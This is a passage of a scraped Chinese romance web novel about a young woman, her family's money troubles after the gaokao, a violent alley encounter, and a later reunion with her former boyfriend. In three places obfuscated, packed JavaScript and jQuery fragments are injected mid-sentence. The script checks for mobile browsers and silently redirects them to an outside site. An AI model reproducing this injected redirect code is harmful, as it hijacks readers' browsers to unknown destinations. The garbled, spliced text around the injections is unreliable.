舒洛原一直坐在最后排默不作声,他突然从中间过道探出头,冷哼一身:“是啊,缘分。” 但当时的她是大哭了一场的。 高三的紧张感体现在每分每秒的紧绷,高考倒计时100天的撕页挂历被挂在黑板旁之后,梅中走廊上的人都少了许多,下课也没有平常的喧闹。 春光从窗口溜进来又滑走,但她没有错过。 舒洛原相较于其他学生来说是轻松的,他在老师那里有免刷题的特权,因此他有更多时间,所以扛起了给同学们带早饭的大任。 每天早上,不重样的早饭出现在云诗加的桌上,还会附带一朵花。 从油菜花,到玉兰花,樱花,海棠…… 云诗加不知道他是从哪里摘来的,据她所知,梅中的校园绿植是不允许采摘的,不知道他有没有被绿化管理员逮到过,每每想到这里看,她的心情便大好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342278|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >涂玉琪常对着她摇头:“面对今日份的试卷量还能偷笑,你简直是学疯了,疯了疯了……” 直到高考前,云诗加周末也不回家了,彻底在大伯家住下了,每周六的小考结束,周日一早,舒洛原准时出现在教室里等她,帮她对答案、分析错题,短短几个月,错题本都垒起厚厚一打,试卷更是多,只能堆在脚边,用更重的题册压着。 走进考场的时候,云诗加抬头望了一眼碧蓝的天空,那天是个大晴天,太阳光有些刺眼。 走出考场的时候,天空突然飘起了雨,太阳却仍旧烈烈,围在考场外的一些家长议论纷纷,觉得太阳雨是个好兆头。 云诗加第一时间回大伯家收拾了东西,趁大伯和大伯母不在家,她把客厅打扫了干净,走之前还倒了垃圾,她叨扰了数月,心里总归过意不去。 在坐公交车回家的路上,她给父母分别打了电话,但他们都没接。 倒是舒洛原发来了消息,问她考得怎么样。 她回复:【正常发挥吧。】 舒洛原:【那看来还不错,你这两个月的提升很快,考北林应该没有问题。】 她曾对他提过,对园林设计有些兴趣,他便找来了各大学校的排名,给她制定了目标和志愿排序。 他发来一个链接,是某社交平台上的热搜讨论帖,不少学子已经把试卷和答案拼凑了个七七八八,还有人根据这套网传版试卷估起了分。 云诗加粗略浏览了一遍,中低难度的题目她没有失误,难题有部分错误,也在她的意料之中。 云诗加:【希望如此。】 舒洛原:【那……我在北城等你。】 她把公交车的窗户打开了一条缝,初夏的风吹在脸上,她闭上眼,觉得大好的未来之路在面前徐徐展开,还有对于暑假的憧憬也从心底沸腾上来,寒窗苦读时常常期盼的自由似乎唾手可得了。 她几乎是雀跃地迈进了家门,她看见外婆坐在她家的沙发上。 外婆佝偻着背,并不似往常有精神。 云诗加甩掉书包和行李,高兴地喊了一声:“外婆,你怎么来啦?是来替我庆祝的嘛?” 外婆抬起脸,浑浊的老眼幽幽的看了她一眼,那眼睛里有她看不懂的东西,似乎是忧伤与可怜。 外婆对她抿嘴笑了一下,指着主卧的门说:“回来啦,加加,你去看看你妈妈吧。” 云诗加不明所以,她突然觉得家里的温度有些热,脱了薄外套,她推开卧室的门。 云画侧躺在床上,盖着一层厚被子,长发散落在被子外。 云诗加轻轻走近了,看见妈妈的额角冒着汗,眉头紧皱,似乎并不舒适。 她把母亲的被子轻轻掀开,想让她透透气。 云画醒了,她用朦胧的眼睛看着女儿,然后扶着床头柜坐了起来。 “妈妈,你生病了吗?怎么盖这么厚的被子,今天外面的天气很不错呢,而且温度也很高,盖这么厚不热吗?” 面对女儿关怀的眼神,云画别过头,拿起床头柜的水杯抿了一口水,然后问她说:“你怎么回来了?梅中今天不上课吗?” 云诗加的关怀与雀跃都凝固在脸上,她沉默了几秒,说:“妈妈,今天高考结束了,您一定是睡糊涂了吧?” 云画诧异地看了她一眼:“时间过得真快……” 妈妈似乎是说给她自己听的,云诗加又问了一遍:“妈妈,你是生病了吗?我看你出了好多虚汗。” 云画的脸上突然出现了一种令她陌生的、羞涩腼腆的神情。 “不是生病,是件好事。”云画抬头看着女儿,眼里带着期冀和一丝小心翼翼。 “妈妈怀孕了,你要有弟弟了。” 云诗加的身体突然一震,她把视线猛地移到母亲的腹部,那里尚未有隆起,但母亲的手,她温柔而粗糙的手掌,正轻轻地覆在小腹上,为一个新的生命做着爱的抚摸与庇护。 14. 014 窄巷,初吻。 云诗加的嘴巴张合了一下,却发现自己没有任何话想说。 她突然想起,涂玉琪曾在某个课间拉着她上厕所时八卦说,他们班的某位女同学离家出走了,还是班主任帮忙找到的,听说是因为家里决意要生二胎,她用绝食抗议来抗议,但家长没有理会,她只好出走了。 云诗加不是不知道外界的变化,她在十几岁的时候常常对这个世界的感知是愚钝的,她潜意识里认为世界的大部分变化是与她无关的。 但其实不然。 二胎政策让她的母亲欣然怀孕,甚至忘记了她的考试日。 那一年破天荒的名校减招政策让她以一分之差与北林失之交臂。 她的第二志愿在申城,与苏城距离很近,如果她愿意的话,甚至可以每周末和向笙和结伴回家。 向笙和考到了申城的一所民办学校,跟她的海大距离很近,听说这件事时,云画挺高兴的,她抚摸着还没隆起的肚子,满脸母爱洋溢地说:“那太好了,加加,你们俩在申城也能互相有个照应,我也可以少操点心,好照顾肚子里的孩子。” 云画又趁向笙和在的时候送了他一盒自家腌的泡菜,握着他的手说:“那我就把加加托付给你了。” 向笙和有些尴尬,点头“嗯嗯”,云诗加掩盖不了心里的愠怒,她摔门就走了。 她虽然在很多事情上不在意,但她很明白这种所谓的托付,是一种责任的转嫁。 她的母亲似乎在说,以后她的事情就与她无关了。 可如果真的无关的话,为什么要劝她修改第二志愿? 原本她的第二志愿也在北城,是一所以艺术出名的大学,但云画和陈明华看了第二志愿的学费说,太贵了,比北林贵一倍,还是报一个近一些的学校,若是北林没录取,那离得近车费也便宜些,以后他们有了家庭新成员,钱该省着点花。 当时她对减招政策惶然未知,没预料到北林的分数线比往年高了十分,她自信可以考上第一志愿,便由着他们改了。 从录取结果出来的那一天起,她没有一天不在后悔。 云诗加走在街头,刚巧下了一场雨,地面是潮湿的,阳光正烈,经过一家便利店时,两个同龄女生挽手相伴路过她,两人在讨论着暑假旅行和染什么发色。 她突然觉得很渴,走进便利店,随手套上的连衣裙口袋里正好有几块零钱,她摸出来,买了一只冰淇淋。 乳白色的冰淇淋融化得很快,她坐在便利店门口舔着,却抵不住冰淇淋依旧顺着蛋筒淌到她的手背上。 她伏在膝盖上,哭了起来。 钱钱钱,什么都要钱。 她向往的北城要钱,暑期旅行要钱,染发也要钱。 她明明已经这么努力了,却还是不能走向她想要的未来。 还有舒洛原…… 想到舒洛原,她的眼泪从潺潺细雨变成了豆大的泪珠,啪嗒啪嗒地砸在地面上,和刚刚下过的那场夏日暴雨混在一起,眼泪顺着地面的小水洼流进下水道里。 烈日当空炙烤着这片大地,地面很快就干涸了,仿佛什么都没发生。 云诗加抹了一把脸站起来,蝉鸣嘶哑,热风拂面,她向更热闹的街道走去。 钱。 她要赚钱。 “是啊,缘分。” 静静的车厢里,云诗加沉默了几秒,开口说了这么一句。 “缘分是很奇妙的东西,谢总你说是吧?要不是那天我正好在澈园碰见你俩,还正好带了攀树绳,我们也没有缘分认识。”她接着说。 谢如一还没来得及说话,舒洛原似笑非笑:“没缘分的话就算在同一个城市也永远遇不到,可若是有缘分的话,即便是穷途小巷也会偶遇。” 云诗加的睫毛抖落一下,她微微撇头,垂眼看向他的掌根。 舒洛原坐在后座的中间,双手交握在膝前,袖口被捋到胳膊肘上,那条可怖的疤痕就大刺刺展露在她眼下,提醒着他们的缘分。 “到了。”司机说,打破了怪异的安静。 商务车停在了创业园区门口,云诗加下了车,舒洛原也从车上跳了下来,对着谢如一挑了一下眉,然后大力合上车门,把谢如一欲言又止的话关在了车厢里头。 云诗加快步往里走,她看见身后有一道影子亦步亦趋,在路灯下与她的影子交叠在一起。 诗加工作室在园区道路尽头,她头一次后悔因为图租金便宜而租了最后一幢楼。 快走到时,路灯闪了闪,突然灭了,整个园区被大树与楼宇包围,一切都黑暗了,身后的呼吸声突然在黑暗中加重。 “你还记得吗?加加,那天晚上也像今天一样,灯都坏了,很黑,什么都看不清。”那道影子幽幽开口。 云诗加当然记得。 她后来曾在网上了解到一种心理现象,叫作“吊桥效应”。 吊桥效应是指在紧张或刺激的情境下,人们容易将生理反应误认为对身边人的吸引力,从而产生情感。 在极端经历的情绪中,人会误以为这种心跳加速是对吊桥上的另一个人产生的心动,但其实不是,只是因为那座吊桥上只有那一个人。 她后知后觉地认同,吊桥效应用来概括她和舒洛原那段关系的开始,再恰当不过。 云诗加在那个暑假找了一份工打,她对比了几家店铺贴在外头的兼职招聘海报,烧烤摊的时薪给的比奶茶店的高一半。 她果断选择了烧烤店。 她甚至还跟烧烤店的老板讲了之前在她爸陈明华的店里端盘子的经历,适当地添油加醋,老板立即录用了她。 烧烤店的这份工作并不轻松,除了需要熬夜、油烟大之外,还得忍受诸多醉酒男人的言语调戏,但好在老板看云诗加一个小姑娘不容易,也多有照顾,帮她挡了好几次。 那一晚,云诗加还记得,是八月九日,烧烤店所在的商业街在搞七夕节活动,烧烤店的生意很火爆。 端着一盘烤茄子给一桌坐在店门口的客人上菜时,云诗加的余光看见街对面有个熟悉的身影。 对面是一家清吧,经常有不知名的歌手驻场,歌声隔了一条街都能听见。 隔着绿化带,她看见舒洛原跟着一个女生进去了,那个女生穿着背心短裙,身材火辣,舒洛原扶着玻璃门让她先进,还对她笑了笑。 云诗加不禁低头看了看身上布满油污的围裙。 舒洛原不是没有联系过她。 他还给她发消息安慰她,说海大的园林专业也很好。 她想说,可是海大不在北城,但几番犹豫,终究还是没有按下发送键。 他说,他最近和父母去旅行了。 她说,旅途愉快。 她给他空间分享的海滩照片点赞,然后盯着一屏幕都装不下的评论区出神。 他说,听学长说清大有个讲座论坛,他准备去听一听,顺便提前和父母逛逛清大。 她说,真好。 他问,你最近还好吗? 她说,挺好的。 他问,暑假在做什么?有时间吗? 她没有回答。 对话框的光标闪烁,她面对自己呼之欲出的暗恋与难以压抑的自卑,不知如何整理。 看见对面那间清吧的玻璃窗前坐着的那对俊男靓女,多么登对,多么和谐。 她咬了咬唇。 原来他已经从北城回来了,只是没有告诉她。 她又摇了摇头,想把这些杂念挥去。 他何必告诉她呢,是她先冷漠的,不怪他。 “美女,我们要加一份炒面,不要葱花。” 云诗加给一桌客人开了啤酒瓶盖,扭头应道:“欸,好的,马上来。” 她在厨房间与店门口的外摆桌间来回穿梭,手机装在围裙兜里,一天能记录下两万步,每天回去累得倒头就睡,哪有什么时间来想别的。 恋爱是有钱有闲的人才有资格谈的,她算什么。 下嘴唇被她咬破了,她舔到了一丝血腥味,她把血珠抿进嘴巴,小跑钻进厨房,扬声跟厨师说:“一份炒面!不加葱。” 厨师隔着轰隆隆的油烟机模糊应了一句。 端着新一波烧烤串盘走出店门时,云诗加看见舒洛原就站在店门口。 他今天穿着一身黑,黑色的短袖T恤,黑色是运动裤,黑色的板鞋,黑色的鸭舌帽压在额前,眉眼隐在帽檐下,似有若无地向她瞥过来一眼。 她心不在焉地按照单子给各桌上菜。 到了刚刚点炒面的那一桌时,余光中的舒洛原突然朝她迈了两步,她的视线情不自禁地转移,炒面盘不小心碰到了桌边的啤酒塑料杯,那塑料杯轻飘飘地倒下,啤酒洒在了客人的脚边,溅到几滴在客人的鞋面上。 塑料杯咕噜噜地在地上滚了几圈,停在了舒洛原的脚前。 本就是借酒消愁的客人“腾”地一下站起来,塑料凳在地上摩擦出尖锐的声音。 “你怎么搞的你!你故意的吧!看我不顺眼是不是?我这鞋新买的,弄脏了你赔得起吗?还有我不是说炒面不加葱吗?这怎么还有葱?!” 说完,那男人涨红着脸,把炒面盘抄起摔在了地上,油渍甩在了云诗加的围裙上,几根面条挂在她的斜面上荡荡悠悠。 她顾不得其他,蹲下用餐巾纸往那男人的鞋面擦,低声道歉:“抱歉抱歉,我给您擦干净,炒面我让后厨给您重新做一份,十分抱歉!” 在里头收银的老板还没来得及走出来劝说,那男人仗着人高马大,提出:“很简单,你给我免单,再赔我鞋子的钱,我就不计较了。” 云诗加拎着垃圾桶,把擦试过的餐巾纸放进垃圾桶,又蹲着想去捡起滚出去的啤酒塑料杯。 一只手突然握住了她油腻的手背,将她扶了起来,顺手将脚边的啤酒杯捡了起来,放在了闹事那桌客人的面前。 “这位男士,我想我没看错的话,刚刚是你自己讲话讲得太激动,手肘把杯子碰掉的,怎么好意思叫人家赔你呢?” 舒洛原摘掉了鸭舌帽,眼皮掀起,挺直身体正视着醉酒男人,他比男人还要高半个头。 醉酒男人突然没了气焰:“你你……你说什么呢?胡说八道!你有什么证据!你哪只眼睛看见的?关你什么事啊!” 舒洛原闻言,指向街边的监控摄像头说:“不然你报警好了,那边有监控,应该可以调出来看,我看你也年纪不大,为难一个没犯错的女生好意思吗?” 收完银的老板从店内跑出来,认出是熟客,便拎着一打啤酒,温声细语说道:“欸,张哥张哥,别生气,我送你一打啤酒,您别计较,我们店小妹新来的,难免做的不好,您大人有大量!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她低头看着转圈圈的消息,夜色涌动间,她发现正前方有人,差点撞上。 她条件反射地抬头,想说道歉,却在夜色中看见面前的男人正是刚刚在店里为难她的那个,他带着黑色兜帽,手里拎着一瓶啤酒,微胖的壮实身材,怎么看她都不是他的对手。 何况他嘴里还在骂骂咧咧,摇摇晃晃地朝她走近,一股酒气,对她竖起了中指。 云诗加往后退了两步,慢慢把手向身后的背包,试图摸出之前特地买的防狼神器。 她强装镇定:“你想做什么?我同事去倒垃圾了,马上来找我一起走。” “你不是牛X吗?怎么?现在怕我了?”醉酒男人嬉皮笑脸,对于她的虚张声势没有一点恐惧。 他不断往前走,逼近她,右手伸向她的脖子,想捏住她的脖子。 云诗加拔腿就跑,脑子里迅速计算着逃跑路线。 但这个醉酒男明显失去了理智,他伸手揪住了她的T恤领子,随后手中的啤酒瓶被他甩在了地上,碎片崩溅,引发了云诗加大声的尖叫。 情急之下,云诗加想求饶,但实在是书到用时方恨少,她竟然想不出除了“饶了我”之外的其他词汇。 醉酒男将她的领子向上提起,她反手揪住自己的领口防止窒息,脸涨得通红,她看向窄巷的入口方向想寻求帮助,但脖子里被卡住只能发出零碎的呼声,她几乎绝望地闭上双眼,认命在这七夕夜悲惨地挨一顿揍了…… 眼前的黑暗中,她听见一阵闷哼,随后脖子上的束缚松却了,她的腿一软,身体蹲落在地上。 她睁开眼,却见有人打了一束手电筒,照亮了巷子。 醉酒男面颊受创,倒在了地上,而舒洛原正站在她面前,手机打着手电筒,他甩着涨红的拳头,把鸭舌帽反戴,捋了一把额角密密的汗,转头问她:“没事吧?” 她条件反射地摇了摇头。 醉酒男显然不想善罢甘休,他从地上撑起身体,试图回击舒洛原的脸颊。 云诗加惊呼:“小心!” 舒洛原向她这边侧了侧头,躲开了,顺带握住了她的手臂,将她护在了身后。 “我已经报警了。”舒洛原高声警告他,用手指着巷口正好出现的巡警。 巡警其实并没注意到这边的骚动,但醉酒男欺软怕硬,他往地上吐了口唾沫,打算愤愤地离开。 云诗加刚松了一口气。 却见侧身离开的醉酒男不死心,不知何时从地上捡了啤酒瓶的碎片,往她脸上扎过来。 紧急时刻她连叫声都发不出来,只能举起双臂挡在自己的面前,但预想中的痛感并未发生,有另一只手臂挡在了她的面前。 碎片划过他的小臂和掌根,扎进了他的皮肉,血液溅出来,滴落在了青石板砖上,在夜色中染出艳丽的颜色。 恰这时,七夕节活动的烟花在夜空绽放,绯红的火球在墨蓝色的夏夜空中短暂地腾烈着,劈里啪啦地响着,远处街上的情侣们沸腾欢呼着。 有人在街头拥吻,庆祝在一起度过的不知第几个七夕节,然后许愿还有无数个节日一起度过。 有人在高楼的餐厅里求婚,献出共度余生的饱满爱意。 有人在窄巷里分享彼此的初吻。 云诗加感觉自己的头很胀、心跳很快。 冲动吻上去的那一刻,她忘记了闭眼,跟他因为意外而颤抖着睫毛的双眼对视着。 她的睫毛也轻轻颤了颤,像第一次尝试飞翔的小鸟羽翼。 头顶绚丽的烟火高升,她感觉高高悬浮的恐惧也在烟花绽放声与初吻中落了地。 她的眼泪也随之落了下来,咸咸的眼泪润进两人密实的嘴唇间,掠过所有的浮华,找到她灵魂深处的爱恋与命运。 15. 015 你的谎言 “所以,这么多年,你有没有一次,想过我?” 身后的男人幽幽问道。 良久的沉默后,创业园区的路灯突然“啪”地一齐亮了起来。 视线所及之处都恢复了光明,云诗加眨眨眼。 舒洛原绕到了她面前,低头凝视着她。 云诗加深深吸了一口气,她昂起头,眼睛是亮的。 “舒洛原,你用什么身份在问我这个问题?前男友?我想要合作讨好的地产方的朋友?还是可以影响我的新项目水系的邻居?” 云诗加往后退了一步,米色高跟鞋正巧踩在了他影子的头上,她泄愤似的用脚跟在他的头上碾了碾。 “这么多年过去了,你凭什么觉得我会想到你……”她说。 他往前一步打断了她,“可我不止一次想过你。” “你想我做什……” 话没说完,云诗加突然觉得眼前又是一暗,她被拉住手臂,一头撞进了一个怀里,后颈被一只大手托住,她讶异地双唇微启,然后被猝不及防地吻住。 他吻得很凶。 滚烫的气息喷在她的脸颊上,他的唇舌似乎在倾泻一种愤怒,还有一种从记忆深处挖掘出来的熟悉的欲望。 他在她的唇上研磨、撕咬,恨不得将她吞进嘴中嚼碎了咽下去。 她的心脏突然像植物人苏醒一样活过来了,在胸膛里叫嚣着滚烫的沸腾。 她从来不知道,原来自己也有在怀念那段岁月。 但他们不是十几岁的人了。 她突然清醒过来,猛地推开他,他没有防备,一时趔趄,差点被推进灌木丛里。 她气喘吁吁:“你有病啊舒洛原?” 舒洛原站稳了脚跟,他的脸陷在路灯的阴影里。 “对,我有病,我以为你结婚了,以为你和那个向笙和……”他停顿了一下,突然抱着头,一边喘息一边大声说道:“就算这样,我也还是想你,我觉得我自己无耻!没有道德!我以为我自己只是不服气,我一辈子顺风顺水,怎么会栽在你这棵树上,我以为我只是不甘心,不甘心输给那个姓向的家伙,我哪一点不如他,让你硬要投向他的怀抱!” 说到这里,他突然停住了,蹲坐在绿化带上,园区的灯光忽然又闪了一下。 云诗加站在原地,如果她没看错的话,似乎有一条晶莹的泪从男人的面庞上落下。 他的声音嘶哑:“可突然有一天,有人告诉我,原来一切只是你的谎言。” 云诗加抓了一把额前凌乱的头发,把头发捋到后头,任夜风吹着。 她冷冷地打断他:“我没有撒谎,我只是没有否认。” “好,好,没有否认。”他冷笑起来,“好一个没有否认。” “云诗加,我知道你市侩、爱钱如命、虚荣,可我把我能给的都给你,你却只会把我往外推,告诉我说,对,都是我误以为的那样,这么多年的青春,这么多年的误会,这么多年都蹉跎了,你看看我,你看着我,你不会觉得遗憾吗?” 他又一次冲上来,双手捧着她的脸,逼迫她与他对视。 云诗加在他眼里看到了自己的倒影,黑洞洞的,舒洛原有一双漂亮的眼睛,以前看人时总是亮晶晶的,但现在她只觉得像一潭深渊,若是她跳进去了,便永远没有回头路了。 她闭上了眼睛。 “那又怎么样呢?舒洛原,就算你没有误会,就算我们又在一起了很多年,那又怎么样呢?”她的声音在风中发冷。 他的双手越来越用力,几乎要将她的脸整个捧起来,突然他又卸了力,松开了她,双手举过头顶。 他的脸是在笑的:“那又怎么样?哈哈,你问我那又怎么样?我舒洛原的感情是不是在你眼中一文不值、你就当个屁一样把我放了?!” 云诗加抬眸,“你别这么说。” 舒洛原揉了一把自己的头发,把头发搓成了凌乱的一把稻草。 “云诗加,你不是爱钱吗?我现在有很多钱,比过去还要多得多,你不是想要绿木集团的生意吗?我帮你促成。你想要澈园的水系,好,我马上让他们重新拟新方案。” “你还想要什么?你一次性说出来,我能满足的都满足你,我不能满足的也想办法满足你……” “舒洛原,”她忍不住打断他,“那你想要什么?” “我……”舒洛原从滔滔不绝中停了下来,他的眼神逐渐暗沉,然后迷茫。 “水系的方案是我本就应得的。”她说,“我帮你去看望了谢总,他后来跟你续约了吗?” “你别装傻。” 舒洛原简直要气疯了,她不相信她看不出来,谢如一跟他的关系本来就是钢板一块,他不过是找个托词,好让他再多见她一面罢了。 “好,那我也不跟你绕圈圈,”云诗加正色说:“你也别跟我装傻,水系的事情真是偶然吗?” “这……”舒洛原突然顿住,“当然是……” “别骗我。” 舒洛原又把双手举了起来,一副投降状:“好好好,我承认,水系本来就没有问题,是我故意让工人们把消息放给你那个助理听的,我们的原方案本就会绕开澈园的水系入口。” “好,那我就放心了。” 云诗加绕过舒洛原,踩着高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342280|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟鞋,往办公室方向走,她的步履又快又稳。 舒洛原又要跟上。 但云诗加很快转过头来,定定看着他说:“舒总,既然我们没有水系的方案需要讨论了,那就请回吧,工作室又小又乱的,下回再请您来坐坐。” 她伸出手掌导向刚刚来时的方向,礼貌地送客。 舒洛原迟滞了两秒,他竟搬起石头砸自己的脚,被她绕进去了。 看着那抹倩影消失在最后一幢楼的电梯口,他挫败地靠在了路边的树上,仰头看去,那幢楼二楼的灯光亮起,有一个影子停在了百叶窗前。 他赌她在看他。 他仰头,与那扇百叶窗对视。 那抹影子只站了一瞬,就消失了。 与此同时,云诗加躲进了卫生间里,她摸着胸膛隐隐的悸动,看着镜子里潮红的脸。 这个突如其来的吻勾起了她许多尘封的记忆。 那个生涩的初吻,他甚至不懂如何回应,只是在幽暗的窄巷里搂住她,然后轻轻地啄吻,像对待一件易碎的玉器,他吻得很慢、很轻,几乎让她觉得唇角发痒。 可是后来呢,他对亲吻这件事逐渐驾轻就熟,常常将她吻得喘不上气,每每吻到情深处,她觉得差一秒就要窒息。 他还喜欢将她压在门板上吻,青筋蔓延的手背掐住她的后颈,让她不得不仰起脸,交换的唾液顺着他们的唇舌间往下滑落,然后他再用嘴唇去追逐那抹透明的液体,顺着她的脖颈、锁骨…… 逐渐往下…… 云诗加猛甩了一下头,双手捂脸。 不能再往下想了。 那股心悸的感觉又从胸口冒出来了,像即将破土的嫩芽,暗暗与她的理智较劲。 回办公室重新拟了一份日程表,又对应着新项目的工作安排将项目落实细节重新做了一份工作文档,云诗加舒了一口气,那股心悸的感觉已经坠入了黑夜,找不到痕迹。 她习惯工作的时候将手机关静音,拿起一看,才发现已经过了十二点了,一堆未读信息。 涂玉棋能量十足,发来了好几张照片,问她哪套衣服比较合适去参加梅中校庆的时候穿。 云诗加点开照片翻了翻,选了第一套。 涂玉棋回消息很快:【我也觉得第一套好看!果然不能信老高的审美!他居然说第二套好看。对了,老高今天听说有人在组织校庆后的同学聚会,你猜组织者是谁?】 看到这里,云诗加的眼皮跳了一下,涂玉棋的下一条信息从下方蹦出来,果不其然。 【居然是舒洛原!】 【我帮你也报名了,你应该不介意吧!】 16. 016 声音 回家迷迷糊糊睡了一觉,醒来洗漱时,云诗加发现自己的嘴唇破了一片皮。 她对着镜子又愣了神,感觉昨晚的事情像做梦一样,简直分不清真假。 昨晚跟涂玉棋有一搭没一搭地聊到最后,她也没给个直接的回复,她还在犹豫要不要去所谓的同学聚会。 她每次都纳闷,她和涂玉棋跟那帮学神们算哪门子校友,涂玉棋现在好歹算是梅中校友家属,也不算太牵强。 但她呢?顶多算是蹭的,她是不好意思去。 但涂玉棋发话说,她要是不想去,就自己跟舒洛原说。 说实话,跟舒洛原联系和直接去同学聚会,她没法衡量这二者哪个更难熬一些。 正想着,她妈云画打了电话过来,还没接起来,她就突然想起,早几天跟她妈约了去逛街,她给睡忘了。 云画在新开商场的咖啡店里等了半天,才等到了蓬头垢面冲进来的云诗加。 刚见面,云画就止不住唠叨:“你看看你,也不收拾打扮一下,你这样的谁愿意娶你?” 云诗加打了个哈欠,“我等男人入赘呢。” 云画拍了拍她的肩膀:“就算入赘也得找到男人啊,你跟向笙和这么拖着也不是个事儿啊,他上周又拿来一堆水果啊、保健品什么的,还送了个按摩椅给我,你说我光收礼,不办事,回头我跟向笙和他妈也不好交代,简直抬不起头来!” 云诗加偷偷翻了个白眼,拐进一家时装店,不忘损她妈:“谁收的礼就谁去跟他结婚吧,反正我没收,跟我没关系。” 云画刚让营业员找出她的码数,抽出连衣裙上的衣架啪得一声打在云诗加的背上:“你自己听听你说的什么话!没大没小!没羞没臊!” “我怎么没羞没臊了,我这不是私生活干净着吗?没随便造个人出来让你突然做外婆就不错了,你知足吧。” 云画被气到了,但还不忘在衣服中间寻找适合云诗加的款式。 “这件,你去试试,衬皮肤白净,你多买几件好看的衣服。” 云画把连衣裙塞进云诗加的怀里,推着她进了试衣间。 云诗加摸了摸材质,还算舒服,嫩黄色的连衣裙,她笑了笑,好像已经不是她这个年纪该穿的颜色了,穿出去都怕别人说她装高中生。 试衣间的镜子里照出她自己,她出门前随手套了一身去工地时常穿的咖啡色休闲套装,不记得什么时候买的了,耐脏且舒适,就是不显身材。 她这些年买的都是黑白灰或者米色咖色这些不会出错的颜色,在打扮上也不怎么讲究,连头发都不怎么打理,就任它长长,等到发尾开叉了再去理发店修剪一下,好在她天生发质不错,黑长直,即便不打理也没这么邋遢,但也没多精致就是了。 近些年其实她攒了一笔小积蓄,所以才有勇气离职创业,真要买些高档时兴的衣服也不是没有这个实力,但她少了打扮自己的心气儿。 不像那些年,谈恋爱的时候,口袋里没有钱,却想尽办法地捯饬自己,恨不得将天上的月亮和最艳的花,全都堆砌在自己的身上,好让那个人多多亲吻自己。 云画隔着试衣间的布帘还在唠叨:“我知道你工作忙,你别怪妈妈啰嗦,你都不知道外面那些人说得有多难听,不知道的人还以为你钓着向笙和呢……” 云诗加木着脸把裙子拉链拉上,唰地拉开布帘。 “别人的嘴长在他们自己身上,你去管他们做什么。” 云画被她身上的衣服转移了注意力,啧啧称叹:“这件裙子好看,真好看!” 云诗加对着镜子看了一眼,熬夜的缘故,她的脸煞白,嘴唇上的那点破皮倒是让整张脸显得有了些血色。 嫩黄色的连衣裙正面简简单单,掐出腰线,背面坠着一朵大蝴蝶结,衬得饱满有曲线,娇俏有余,还带些小性感。 营业员也迎了上来:“小姐,你穿这件真好看,相信我,我在店里见过这么多人穿这件,就你穿出了惊艳感,再配一个小高跟,不管是参加聚会还是约会,绝对都能惊艳所有人!” 云诗加没被营业员的迷魂汤灌倒,她从裙摆侧面抽出价签看了一眼,五位数,实在不是她平常能负担得起的开销。 “算了,”她摇头,“太贵了。” 营业员不放弃,不知从哪里掏出一个计算器,突然开始啪啪啪地摁起来,一阵归零归零的声音后,“小姐您看,我们有折扣的,我们新店促销呢,您等会儿再办个会员,折上折以后,只要这个价。” 云诗加瞥了一眼,计算器上显示着一个黑白的四位数。 这头营业员还在天花乱坠地夸她有多合适这件衣服,另一头她妈还在喋喋不休:“你别舍不得花打扮自己的钱,我跟你讲啊,女人就是要花钱打扮自己,不然抓不住男人的心……哦对了,上次笙和来家里还跟我说呢,下次我跟你逛街可以叫他来买单……” “好了,不要说了!” 云诗加不耐地打断,朝营业员说:“这个价格再抹个零。” 营业员开了今天的第一单,喜笑颜开,说:“好咧,您把手机给我,我帮你注册个会员,再跟其他衣服拼一下单,争取给您抹零哈。” 云诗加换回了衣服,等营业员操作的时候,云画还在一旁絮絮叨叨:“这就对了,还是要多打扮自己……” 云诗加突然不想听了:“行了,别说了,我赚钱不是为了用来买衣服讨好男人,也不是为了让男人多看我一眼。” 云画被她的语气怼了一下,突然又软了下来,带些委屈地说:“我这不是为了你好嘛……” 云诗加被她妈烦得一时没过脑子:“真为了我好,那年就不该怀孕,我爸也不应该出轨,你俩真盼着我好吗?” 说完她就觑了一眼云画的神色,她妈果然立刻眼眶就红了。 云诗加心里叹息,不知何时开始,她们母女再也没有办法好好说话了,好不容易见面,也要互相戳对方的痛处,然后分别回去疗伤,下一次再继续,简直是个恶性循环。 “这不也没生下来吗?我只有你一个女儿,我还能不盼着你好吗?”她妈嗫嚅道。 云诗加心想,未必。 若她那个没成型的弟弟真生下来了,她还有什么好日子过。 但她看母亲通红的眼睛,又觉得够了,不想说了。 她拎起营业员打包好的购物袋,往店门口走出去,云画跟上了,讨好地挽住女儿的手臂弯,提议道:“听说楼上开了家烤鸭店。” 新开的这家商场人流如梭,云诗加用手机查了一下,在网上取了个烤鸭店的排队号,等位时间估计不短。 她拉着云画进了一家成熟风格的女装店,靠在沙发上让营业员给她妈选了几件衣服试,试完以后又主动买了单,云画脸上的笑意渐浓,她又陪着吃了顿烤鸭,云画在席间不断给她卷烤鸭面皮,怎么看都是一副母慈子孝的画面。 到了下午,云诗加把母亲送回了家,看着母亲拎着一堆购物袋消失在楼道口,她才在驾驶座上长舒了一口气,闭上眼睛揉了揉鼻梁。 云画是一个极其需要感情滋养的人,云诗加知道,这是她的责任,所以她把陪母亲这件事当作日程写在工作安排上,每个月陪母亲吃两次饭,但她实在是疲惫于这一切。 “嘟嘟”,正想着今天下午还有一些工作安排的处理,左侧车窗被敲了两下。 